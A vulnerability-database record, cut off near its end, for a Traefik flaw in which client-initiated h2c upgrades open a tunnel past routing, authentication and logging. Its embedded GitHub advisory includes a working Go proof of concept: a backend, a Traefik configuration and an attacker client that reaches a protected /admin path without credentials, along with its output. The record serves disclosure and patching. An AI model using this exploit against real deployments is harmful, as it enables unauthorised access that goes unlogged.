{"id":"CVE-2026-88008","aliases":["EUVD-2026-75545","GHSA-w4v4-9rw7-5326","GO-2026-6468","SUSE-SU-2026:23855-1","SUSE-SU-2026:23863-1","openSUSE-SU-2026:12076-1","openSUSE-SU-2026:21897-1"],"status":"published","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.","severity":{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00487,"percentile":0.42402,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-444","CWE-863"],"published":"2026-09-10T14:57:06Z","modified":"2026-10-28T02:31:00Z","exploits":[{"source":"pocgithub","id":"Boreas37/CVE-2026-88008-PoC","title":"Boreas37/CVE-2026-88008-PoC","date":"2026-09-27","url":"https://github.com/Boreas37/CVE-2026-88008-PoC"}],"fixes":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","fixed_in":["3.7.13"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/traefik/traefik/v2","fixed_in":["2.11.57"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.2"},{"fixed":"3.7.13"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.26"},{"fixed":"2.11.57"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.4.2"},{"fixed":"3.7.13"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"2.11.26"},{"fixed":"2.11.57"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"2.11.26"},{"fixed":"2.11.57"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.4.2"},{"fixed":"3.7.13"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"traefik","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.13-1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91}],"products":[{"vendor":"traefik","product":"traefik"}],"references":[{"url":"https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326","tags":["x_refsource_CONFIRM","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/traefik/traefik/pull/13797","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/traefik/traefik/commit/a277e94664ffc1ce9543df552d3bbf48d4d3b8b3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/traefik/traefik/releases/tag/v2.11.57","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/traefik/traefik/releases/tag/v3.7.13","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88008","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w4v4-9rw7-5326"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/88xxx/CVE-2026-88008.json","tags":["advisory"]},{"url":"https://github.com/traefik/traefik","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623855-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24979","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25782","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27780","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56665","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56666","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56668","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56743","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59157","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59161","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59185","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-60004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65959","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69083","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69084","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71493","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72789","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72790","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72796","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72797","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72799","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72800","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72802","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72804","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72805","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72808","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72809","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72810","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72811","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72812","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73087","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73294","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73667","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73840","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73841","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73842","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73843","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-75602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76081","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-79921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88007","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88008","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88009","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88012","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88013","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88014","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88015","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88016","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88018","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88044","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88046","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623863-1/","tags":["advisory"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88010","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-88008","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.","status":"published","published":"2026-09-10T14:57:06.162Z","modified":"2026-09-10T16:56:53.731Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-444","CWE-863"],"updated_at":"2026-11-02T13:42:04.39372Z"}],"euvd":[{"id":"EUVD-2026-75545","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.","status":"published","published":"2026-09-10T14:57:06Z","modified":"2026-09-10T16:56:53Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:24.168535Z"}],"ghsa":[{"id":"GHSA-w4v4-9rw7-5326","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization","description":"## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public                         /admin\n(no auth)                       (BasicAuth)\n    |                               |\n    +----------- same backend ------+\n                    ^\n                    |\n              h2c tunnel\n                    |\n                 attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n  When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n  WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n  Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n  When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n   |\n   | GET /public\n   | Connection: Upgrade\n   | Upgrade: h2c\n   v\nTraefik\n   |\n   | r-public (no auth)\n   v\nBackend\n   |\n   | 101 Switching Protocols\n   v\n[raw byte tunnel]\n   |\n   | HTTP/2 GET /admin\n   v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 → h2c upgrade handler.\n\nIt exposes:\n\n* `/public` — unauthenticated\n* `/admin` — intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n    \"bufio\"\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n\n    mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"public ok\\n\")\n    })\n\n    mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(\n            w,\n            \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n            r.Proto,\n            r.URL.Path,\n        )\n    })\n\n    h2s := \u0026http2.Server{}\n\n    ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n    for {\n        c, err := ln.Accept()\n        if err != nil {\n            return\n        }\n\n        go func(conn net.Conn) {\n            br := bufio.NewReader(conn)\n            var sb strings.Builder\n\n            for {\n                line, err := br.ReadString('\\n')\n                if err != nil {\n                    return\n                }\n\n                sb.WriteString(line)\n\n                if line == \"\\r\\n\" {\n                    break\n                }\n            }\n\n            if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n                conn.Write([]byte(\n                    \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n                        \"Connection: Upgrade\\r\\n\" +\n                        \"Upgrade: h2c\\r\\n\\r\\n\",\n                ))\n\n                h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n                    Handler: mux,\n                })\n\n                return\n            }\n\n            conn.Close()\n        }(c)\n    }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n  web:\n    address: \"127.0.0.1:9080\"\n\nproviders:\n  file:\n    filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n  routers:\n    r-public:\n      rule: \"PathPrefix(`/public`)\"\n      entryPoints: [\"web\"]\n      service: svc\n\n    r-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [\"web\"]\n      service: svc\n      middlewares: [\"adminauth\"]\n\n  middlewares:\n    adminauth:\n      basicAuth:\n        users:\n          - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n  services:\n    svc:\n      loadBalancer:\n        servers:\n          - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    front := \"127.0.0.1:9080\"\n\n    resp, _ := http.Get(\"http://\" + front + \"/admin\")\n    b, _ := io.ReadAll(resp.Body)\n    resp.Body.Close()\n\n    fmt.Printf(\n        \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n        resp.StatusCode,\n        strings.TrimSpace(string(b)),\n    )\n\n    raw, _ := net.Dial(\"tcp\", front)\n\n    raw.Write([]byte(\n        \"GET /public HTTP/1.1\\r\\n\" +\n            \"Host: x\\r\\n\" +\n            \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n            \"Upgrade: h2c\\r\\n\" +\n            \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n            \"\\r\\n\",\n    ))\n\n    buf := make([]byte, 256)\n\n    raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n    n, _ := raw.Read(buf)\n\n    fmt.Printf(\n        \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n        strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n    )\n\n    raw.SetReadDeadline(time.Time{})\n\n    cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n    req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n    r2, _ := cc.RoundTrip(req)\n    b2, _ := io.ReadAll(r2.Body)\n    r2.Body.Close()\n\n    fmt.Printf(\n        \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n        r2.StatusCode,\n        strings.TrimSpace(string(b2)),\n    )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds)      -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel     -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` → `401`\n* Unauthenticated `/public` → `101`\n* `/admin` over the established h2c tunnel → `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 → h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n      |\n      | Upgrade: h2c\n      v\n   Traefik\n      |\n      | 101\n      v\n  raw tunnel\n      |\n      | HTTP/2 GET /admin\n      v\n   Backend\n      |\n      v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---","status":"published","published":"2026-09-10T23:04:37Z","modified":"2026-09-10T23:04:38Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-444","CWE-863"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-88008","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.","status":"published","published":"2026-09-10T15:17:56.433Z","modified":"2026-09-14T19:59:04.55Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-444","CWE-863"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-88008","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.","status":"published","published":"2026-09-10T14:57:06.162Z","modified":"2026-10-28T02:31:00.757446125Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-444","CWE-863"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"GHSA-w4v4-9rw7-5326","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect 